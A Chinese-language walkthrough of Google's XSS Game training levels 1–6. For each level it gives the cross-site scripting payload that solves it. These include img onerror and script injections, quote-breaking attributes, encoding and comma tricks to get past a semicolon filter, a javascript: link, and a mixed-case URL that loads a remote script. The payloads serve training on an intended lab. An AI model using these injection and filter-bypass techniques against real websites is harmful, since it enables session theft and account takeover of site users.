/ Web安全

Google-XSS-Game WriteUp

level-1

输入内容会出现在<b>标签中,没有过滤,直接使用img或script等等都能弹窗

<img/src=x onerror=alert(1)>
<script>alert(1)</script>

google xss level 1

level-2

留言板过滤了script标签,使用img标签

<img/src=1 onerror=alert(1)>

google xss game使用image标签

level-3

输入点在url后面的hash中
google-xss-game 输入点在hash中
输入aaaa,文中img标签变为

<img src="/static/level3/cloudaaaa.jpg">
payload1: 制造onerror事件: ' onerror=alert(1)// 
payload2: 闭合img标签: '><script>alert(1);</script>//

这个地方注意前面必须使用单引号闭合src
google xss game闭合src

level-4

<img src="/static/loading.gif" onload="startTimer('1000');">
<div id="message">Your timer will execute in 1000 seconds.</div>

有这两个输出点是可控的,div标签里面被html实体编码,应该没法利用
google xss game输出被html实体编码
google-xss-6
尝试在img标签中构造,
google-xss-7
img标签中也会对标签进行实体编码,但是在浏览器解析标签属性时会先对值进行decode
try: 1');alert('1
但是;被过滤了,使用编码或者逗号可以绕过:

payload1: 编码: 1')%3Balert('1
payload2: 使用逗号: 1'),alert('1

level-5

点击sing up进入一个页面,url中有next参数,习惯性改一下看输出点:
google-xss a标签伪协议
输出在a标签中,直接用伪协议:

payload: javascript:alert(1)

这里也是对html标签进行了实体编码没法闭合a标签

level-6

又是url的hash值,探测输出点,没搜出来,在js代码中,会获取hash中的地址,加载这个地址的js,但是不能用包含http,使用大小写可以绕过,经历上次ssctf,大小写深刻我心

payload1: https://xss-game.appspot.com/level6/frame#hTtps://sqvds.com/1.js

google xss大小写绕过
或者在网址最开始处添加一个空格也可以绕过,看网上还有使用data伪协议:

payload2: data:text/javascript,alert(1);

参考资料

google官方文档
参考-From:tuicool